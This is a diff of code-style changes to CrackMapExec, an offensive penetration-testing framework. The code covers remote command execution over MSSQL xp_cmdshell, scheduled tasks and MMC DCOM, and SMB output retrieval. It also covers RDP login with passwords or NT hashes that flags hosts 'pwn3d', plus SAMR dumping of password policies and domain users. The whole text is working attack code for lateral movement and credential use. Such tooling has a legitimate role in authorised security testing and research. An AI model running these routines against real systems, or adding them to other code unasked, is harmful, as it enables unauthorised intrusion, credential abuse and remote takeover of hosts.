self.enable_xp_cmdshell()
self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
if output:
self.mssql_conn.printReplies()
self.mssql_conn.colMeta[0]['TypeData'] = 80*2
self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
self.mssql_conn.printRows()
self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
if len(self.outputBuffer):
@ -27,7 +27,7 @@ class MSSQLEXEC:
return self.outputBuffer
except Exception as e:
cme_logger.debug('Error executing command via mssqlexec: {}'.format(e))
cme_logger.debug(f"Error executing command via mssqlexec: {e}")
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
@ -55,22 +55,24 @@ class MSSQLEXEC:
"EXEC sp_OADestroy @ob;".format(hexdata, remote))
self.disable_ole()
except Exception as e:
cme_logger.debug('Error uploading via mssqlexec: {}'.format(e))
cme_logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
res = self.mssql_conn.batch("DECLARE @r INT; EXEC master.dbo.xp_fileexist '{}', @r OUTPUT; SELECT @r as n".format(remote))[0]['n']
res = self.mssql_conn.batch(
f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
)[0]['n']
return res == 1
except:
return False
def get_file(self, remote, local):
try:
self.mssql_conn.sql_query("SELECT * FROM OPENROWSET(BULK N'{}', SINGLE_BLOB) rs".format(remote))
data = self.mssql_conn.rows[0]['BulkColumn']
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]
with open(local, 'wb+') as f:
with open(local, "wb+") as f:
f.write(binascii.unhexlify(data))
except Exception as e:
cme_logger.debug('Error downloading via mssqlexec: {}'.format(e))
cme_logger.debug(f"Error downloading via mssqlexec: {e}")

View File

@ -104,23 +104,18 @@ class rdp(connection):
def proto_logger(self):
self.logger = CMEAdapter(
extra={
'protocol': 'RDP',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
"protocol": "RDP",
"host": self.host,
"port": self.args.port,
"hostname": self.hostname
}
)
def print_host_info(self):
if self.domain is None:
self.logger.display(u"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{})".format(self.nla))
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})")
else:
self.logger.display(u"{} (name:{}) (domain:{}) (nla:{})".format(
self.server_os,
self.hostname,
self.domain,
self.nla
))
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})")
return True
def create_conn_obj(self):
@ -142,11 +137,13 @@ class rdp(connection):
return False
if "Reason:" not in str(e):
info_domain = self.conn.get_extra_info()
self.domain = info_domain['dnsdomainname']
self.hostname = info_domain['computername']
self.server_os = info_domain['os_guess'] + " Build " + str(info_domain['os_build'])
self.domain = info_domain["dnsdomainname"]
self.hostname = info_domain["computername"]
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain['os_build'])
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = os.path.expanduser(
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
self.output_filename = self.output_filename.replace(":", "-")
break
@ -237,12 +234,13 @@ class rdp(connection):
asyncio.run(self.connect_rdp())
self.admin_privs = True
self.logger.success(u'{}\\{}{} {}'.format(
self.logger.success(
u"{}\\{}{} {}".format(
domain,
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ''))
)
if not self.args.local_auth:
add_user_bh(username, domain, self.logger, self.config)
@ -255,25 +253,21 @@ class rdp(connection):
for word in rdp_error_status.keys():
if word in str(e):
reason = rdp_error_status[word]
self.logger.fail(u'{}\\{}{} {}'.format(
domain,
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
'({})'.format(reason) if reason else str(e)),
self.logger.fail(
f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}",
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else 'red'
)
elif "Authentication failed!" in str(e):
self.logger.success(
u'{}\\{}:{} {}'.format(
u"{}\\{}:{} {}".format(
domain,
username,
password,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
)
elif "No such file" in str(e):
self.logger.fail(str(e))
self.logger.fail(e)
else:
reason = None
for word in rdp_error_status.keys():
@ -282,12 +276,7 @@ class rdp(connection):
if "cannot unpack non-iterable NoneType object" == str(e):
reason = "User valid but cannot connect"
self.logger.fail(
u'{}\\{}{} {}'.format(
domain,
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
'({})'.format(reason) if reason else ''),
f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}",
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red'
)
return False
@ -300,11 +289,11 @@ class rdp(connection):
self.admin_privs = True
self.logger.success(
u'{}\\{}:{} {}'.format(
u"{}\\{}:{} {}".format(
domain,
username,
password,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
)
if not self.args.local_auth:
@ -314,11 +303,11 @@ class rdp(connection):
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(
u'{}\\{}:{} {}'.format(
u"{}\\{}:{} {}".format(
domain,
username,
password,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
)
else:
@ -329,11 +318,7 @@ class rdp(connection):
if "cannot unpack non-iterable NoneType object" == str(e):
reason = "User valid but cannot connect"
self.logger.fail(
u'{}\\{}:{} {}'.format(
domain,
username,
password,
'({})'.format(reason) if reason else ''),
f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}",
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red'
)
return False
@ -346,11 +331,11 @@ class rdp(connection):
self.admin_privs = True
self.logger.success(
u'{}\\{}:{} {}'.format(
u"{}\\{}:{} {}".format(
self.domain,
username,
ntlm_hash,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
)
if not self.args.local_auth:
@ -360,11 +345,11 @@ class rdp(connection):
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(
u'{}\\{}:{} {}'.format(
u"{}\\{}:{} {}".format(
domain,
username,
ntlm_hash,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
)
else:
@ -376,11 +361,7 @@ class rdp(connection):
reason = "User valid but cannot connect"
self.logger.fail(
u'{}\\{}:{} {}'.format(
domain,
username,
ntlm_hash,
'({})'.format(reason) if reason else ''),
f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}",
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red'
)
return False
@ -395,9 +376,11 @@ class rdp(connection):
await asyncio.sleep(int(5))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser('~/.cme/screenshots/{}_{}_{}.png'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
buffer.save(filename,'png')
self.logger.highlight("Screenshot saved {}".format(filename))
filename = os.path.expanduser(
f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png"
)
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
def screenshot(self):
asyncio.run(self.screen())
@ -412,9 +395,11 @@ class rdp(connection):
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser('~/.cme/screenshots/{}_{}_{}.png'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
buffer.save(filename,'png')
self.logger.highlight("NLA Screenshot saved {}".format(filename))
filename = os.path.expanduser(
f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png"
)
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
def nla_screenshot(self):
if not self.nla:

View File

@ -104,14 +104,14 @@ class TSCH_EXEC:
if self.__retOutput:
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = " <Arguments>/C {} &gt; \\\\{}\\{}\\{} 2&gt;&amp;1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{tmpFileName} 2&gt;&amp;1</Arguments>"
else:
argument_xml = " <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>".format(command, tmpFileName)
argument_xml = f" <Arguments>/C {command} &gt; %windir%\\Temp\\{tmpFileName} 2&gt;&amp;1</Arguments>"
elif self.__retOutput is False:
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
argument_xml = f" <Arguments>/C {command}</Arguments>"
cme_logger.debug('Generated argument XML: ' + argument_xml)
cme_logger.debug("Generated argument XML: " + argument_xml)
xml += argument_xml
xml += """
@ -136,26 +136,26 @@ class TSCH_EXEC:
xml = self.gen_xml(command, tmpFileName, fileless)
logging.info("Task XML: {}".format(xml))
logging.info(f"Task XML: {xml}")
taskCreated = False
logging.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
logging.info(f"Creating task \\{tmpName}")
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info('Running task \\%s' % tmpName)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
logging.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
cme_logger.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
cme_logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
logging.info('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
logging.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
@ -165,7 +165,7 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output:
self.output_callback(output.read())
break
except IOError:
@ -175,17 +175,17 @@ class TSCH_EXEC:
smbConnection = self.__rpctransport.get_smb_connection()
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
logging.info(f"Attempting to read ADMIN$\\Temp\\{tmpFileName}")
smbConnection.getFile("ADMIN$", f"Temp\\{tmpFileName}", self.output_callback)
break
except Exception as e:
if str(e).find('SHARING') > 0:
if str(e).find("SHARING") > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
elif str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(3)
else:
raise
cme_logger.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
cme_logger.debug(f"Deleting file ADMIN$\\Temp\\{tmpFileName}")
smbConnection.deleteFile("ADMIN$", f"Temp\\{tmpFileName}")
dce.disconnect()

View File

@ -120,10 +120,10 @@ class MMCEXEC:
def exit(self):
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
dispParams["rgvarg"] = NULL
dispParams["rgdispidNamedArgs"] = NULL
dispParams["cArgs"] = 0
dispParams["cNamedArgs"] = 0
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
@ -133,41 +133,41 @@ class MMCEXEC:
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
command = '/Q /c ' + data
command = "/Q /c " + data
if self.__retOutput is True:
command += ' 1> ' + '\\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) + ' 2>&1'
command += " 1> " + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + " 2>&1"
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 4
dispParams['cNamedArgs'] = 0
dispParams["rgdispidNamedArgs"] = NULL
dispParams["cArgs"] = 4
dispParams["cNamedArgs"] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = self.__shell
arg0["clSize"] = 5
arg0["vt"] = VARENUM.VT_BSTR
arg0["_varUnion"]["tag"] = VARENUM.VT_BSTR
arg0["_varUnion"]["bstrVal"]["asData"] = self.__shell
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = self.__pwd
arg1["clSize"] = 5
arg1["vt"] = VARENUM.VT_BSTR
arg1["_varUnion"]["tag"] = VARENUM.VT_BSTR
arg1["_varUnion"]["bstrVal"]["asData"] = self.__pwd
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = command
arg2["clSize"] = 5
arg2["vt"] = VARENUM.VT_BSTR
arg2["_varUnion"]["tag"] = VARENUM.VT_BSTR
arg2["_varUnion"]["bstrVal"]["asData"] = command
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = '7'
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
arg3["clSize"] = 5
arg3["vt"] = VARENUM.VT_BSTR
arg3["_varUnion"]["tag"] = VARENUM.VT_BSTR
arg3["_varUnion"]["bstrVal"]["asData"] = "7"
dispParams["rgvarg"].append(arg3)
dispParams["rgvarg"].append(arg2)
dispParams["rgvarg"].append(arg1)
dispParams["rgvarg"].append(arg0)
self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
@ -181,7 +181,7 @@ class MMCEXEC:
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output:
self.output_callback(output.read())
break
except IOError:

View File

@ -50,24 +50,24 @@ def convert(low, high, lockout=False):
return "[-] Invalid TIME"
if days > 1:
time += "{0} days ".format(days)
time += f"{days} days "
elif days == 1:
time += "{0} day ".format(days)
time += f"{days} day "
if hours > 1:
time += "{0} hours ".format(hours)
time += f"{hours} hours "
elif hours == 1:
time += "{0} hour ".format(hours)
time += f"{hours} hour "
if minutes > 1:
time += "{0} minutes ".format(minutes)
time += f"{minutes} minutes "
elif minutes == 1:
time += "{0} minute ".format(minutes)
time += f"{minutes} minute "
return time
class PassPolDump:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
"139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139),
"445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445),
}
def __init__(self, connection):
@ -101,14 +101,24 @@ class PassPolDump:
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
except KeyError:
cme_logger.debug("Invalid Protocol '{}'".format(protocol))
cme_logger.debug("Trying protocol {}".format(protocol))
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain,
self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
cme_logger.debug(f"Invalid Protocol '{protocol}'")
cme_logger.debug(f"Trying protocol {protocol}")
rpctransport = transport.SMBTransport(
self.addr,
port,
r"\samr",
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
doKerberos=self.doKerberos
)
try:
self.fetchList(rpctransport)
except Exception as e:
cme_logger.debug('Protocol failed: {}'.format(e))
cme_logger.debug(f"Protocol failed: {e}")
else:
# Got a response. No need for further iterations.
self.pretty_print()
@ -123,85 +133,91 @@ class PassPolDump:
# Setup Connection
resp = samr.hSamrConnect2(dce)
if resp['ErrorCode'] != 0:
raise Exception('Connect error')
if resp["ErrorCode"] != 0:
raise Exception("Connect error")
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"],
enumerationContext=0,
preferedMaximumLength=500)
if resp2['ErrorCode'] != 0:
raise Exception('Connect error')
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
name=resp2['Buffer']['Buffer'][0]['Name'])
if resp3['ErrorCode'] != 0:
raise Exception('Connect error')
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"],
name=resp2["Buffer"]["Buffer"][0]["Name"])
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"],
desiredAccess=samr.MAXIMUM_ALLOWED,
domainId=resp3['DomainId'])
if resp4['ErrorCode'] != 0:
raise Exception('Connect error')
domainId=resp3["DomainId"])
if resp4["ErrorCode"] != 0:
raise Exception("Connect error")
self.__domains = resp2['Buffer']['Buffer']
domainHandle = resp4['DomainHandle']
self.__domains = resp2["Buffer"]["Buffer"]
domainHandle = resp4["DomainHandle"]
# End Setup
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
self.__min_pass_len = re['Buffer']['Password']['MinPasswordLength'] or "None"
self.__pass_hist_len = re['Buffer']['Password']['PasswordHistoryLength'] or "None"
self.__max_pass_age = convert(int(re['Buffer']['Password']['MaxPasswordAge']['LowPart']), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart']))
self.__min_pass_age = convert(int(re['Buffer']['Password']['MinPasswordAge']['LowPart']), int(re['Buffer']['Password']['MinPasswordAge']['HighPart']))
self.__pass_prop = d2b(re['Buffer']['Password']['PasswordProperties'])
self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None"
self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None"
self.__max_pass_age = convert(int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart']))
self.__min_pass_age = convert(int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MinPasswordAge']['HighPart']))
self.__pass_prop = d2b(re["Buffer"]["Password"]["PasswordProperties"])
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
self.__rst_accnt_lock_counter = convert(0, re['Buffer']['Lockout']['LockoutObservationWindow'], lockout=True)
self.__lock_accnt_dur = convert(0, re['Buffer']['Lockout']['LockoutDuration'], lockout=True)
self.__accnt_lock_thres = re['Buffer']['Lockout']['LockoutThreshold'] or "None"
self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True)
self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True)
self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None"
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
self.__force_logoff_time = convert(re['Buffer']['Logoff']['ForceLogoff']['LowPart'], re['Buffer']['Logoff']['ForceLogoff']['HighPart'])
self.__force_logoff_time = convert(re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], re['Buffer']['Logoff']['ForceLogoff']['HighPart'])
self.pass_pol = {'min_pass_len': self.__min_pass_len, 'pass_hist_len': self.__pass_hist_len,
'max_pass_age': self.__max_pass_age, 'min_pass_age': self.__min_pass_age,
'pass_prop': self.__pass_prop, 'rst_accnt_lock_counter': self.__rst_accnt_lock_counter,
'lock_accnt_dur': self.__lock_accnt_dur, 'accnt_lock_thres': self.__accnt_lock_thres,
'force_logoff_time': self.__force_logoff_time}
self.pass_pol = {
"min_pass_len": self.__min_pass_len,
"pass_hist_len": self.__pass_hist_len,
"max_pass_age": self.__max_pass_age,
"min_pass_age": self.__min_pass_age,
"pass_prop": self.__pass_prop,
"rst_accnt_lock_counter": self.__rst_accnt_lock_counter,
"lock_accnt_dur": self.__lock_accnt_dur,
"accnt_lock_thres": self.__accnt_lock_thres,
"force_logoff_time": self.__force_logoff_time
}
dce.disconnect()
def pretty_print(self):
PASSCOMPLEX = {
5: 'Domain Password Complex:',
4: 'Domain Password No Anon Change:',
3: 'Domain Password No Clear Change:',
2: 'Domain Password Lockout Admins:',
1: 'Domain Password Store Cleartext:',
0: 'Domain Refuse Password Change:'
5: "Domain Password Complex:",
4: "Domain Password No Anon Change:",
3: "Domain Password No Clear Change:",
2: "Domain Password Lockout Admins:",
1: "Domain Password Store Cleartext:",
0: "Domain Refuse Password Change:"
}
cme_logger.debug('Found domain(s):')
cme_logger.debug("Found domain(s):")
for domain in self.__domains:
cme_logger.debug('{}'.format(domain['Name']))
cme_logger.debug(f"{domain['Name']}")
self.logger.success("Dumping password info for domain: {}".format(self.__domains[0]['Name']))
self.logger.success(f"Dumping password info for domain: {self.__domains[0]['Name']}")
self.logger.highlight("Minimum password length: {}".format(self.__min_pass_len))
self.logger.highlight("Password history length: {}".format(self.__pass_hist_len))
self.logger.highlight("Maximum password age: {}".format(self.__max_pass_age))
self.logger.highlight('')
self.logger.highlight("Password Complexity Flags: {}".format(self.__pass_prop or "None"))
self.logger.highlight(f"Minimum password length: {self.__min_pass_len}")
self.logger.highlight(f"Password history length: {self.__pass_hist_len}")
self.logger.highlight(f"Maximum password age: {self.__max_pass_age}")
self.logger.highlight("")
self.logger.highlight(f"Password Complexity Flags: {self.__pass_prop or 'None'}")
for i, a in enumerate(self.__pass_prop):
self.logger.highlight("\t{} {}".format(PASSCOMPLEX[i], str(a)))
self.logger.highlight(f"\t{PASSCOMPLEX[i]} {str(a)}")
self.logger.highlight('')
self.logger.highlight("Minimum password age: {}".format(self.__min_pass_age))
self.logger.highlight("Reset Account Lockout Counter: {}".format(self.__rst_accnt_lock_counter))
self.logger.highlight("Locked Account Duration: {}".format(self.__lock_accnt_dur))
self.logger.highlight("Account Lockout Threshold: {}".format(self.__accnt_lock_thres))
self.logger.highlight("Forced Log off Time: {}".format(self.__force_logoff_time))
self.logger.highlight("")
self.logger.highlight(f"Minimum password age: {self.__min_pass_age}")
self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}")
self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}")
self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}")
self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}")

View File

@ -39,4 +39,4 @@ class RemoteFile:
return self.__currentOffset
def __str__(self):
return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}"

View File

@ -47,15 +47,25 @@ class UserSamrDump:
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
except KeyError as e:
self.logger.debug("Invalid Protocol '{}'".format(protocol))
self.logger.debug("Trying protocol {}".format(protocol))
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain,
self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
self.logger.debug(f"Invalid Protocol '{protocol}'")
self.logger.debug(f"Trying protocol {protocol}")
rpctransport = transport.SMBTransport(
self.addr,
port,
r"\samr",
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
doKerberos=self.doKerberos
)
try:
self.fetchList(rpctransport)
break
except Exception as e:
self.logger.debug('Protocol failed: {}'.format(e))
self.logger.debug(f"Protocol failed: {e}")
return self.users
def fetchList(self, rpctransport):
@ -65,28 +75,28 @@ class UserSamrDump:
# Setup Connection
resp = samr.hSamrConnect2(dce)
if resp['ErrorCode'] != 0:
raise Exception('Connect error')
if resp["ErrorCode"] != 0:
raise Exception("Connect error")
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"],
enumerationContext=0,
preferedMaximumLength=500)
if resp2['ErrorCode'] != 0:
raise Exception('Connect error')
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
name=resp2['Buffer']['Buffer'][0]['Name'])
if resp3['ErrorCode'] != 0:
raise Exception('Connect error')
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"],
name=resp2["Buffer"]["Buffer"][0]["Name"])
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"],
desiredAccess=samr.MAXIMUM_ALLOWED,
domainId=resp3['DomainId'])
if resp4['ErrorCode'] != 0:
raise Exception('Connect error')
domainId=resp3["DomainId"])
if resp4["ErrorCode"] != 0:
raise Exception("Connect error")
self.__domains = resp2['Buffer']['Buffer']
domainHandle = resp4['DomainHandle']
self.__domains = resp2["Buffer"]["Buffer"]
domainHandle = resp4["DomainHandle"]
# End Setup
status = STATUS_MORE_ENTRIES
@ -95,20 +105,20 @@ class UserSamrDump:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
except DCERPCException as e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
self.logger.error('Error enumerating domain user(s)')
if str(e).find("STATUS_MORE_ENTRIES") < 0:
self.logger.error("Error enumerating domain user(s)")
break
resp = e.get_packet()
self.logger.success('Enumerated domain user(s)')
for user in resp['Buffer']['Buffer']:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
(username, uid, info_user) = (user['Name'], user['RelativeId'], info['Buffer']['All'])
self.logger.highlight('{}\\{:<30} {}'.format(self.domain, user['Name'], info_user['AdminComment']))
self.users.append(user['Name'])
samr.hSamrCloseHandle(dce, r['UserHandle'])
self.logger.success("Enumerated domain user(s)")
for user in resp["Buffer"]["Buffer"]:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
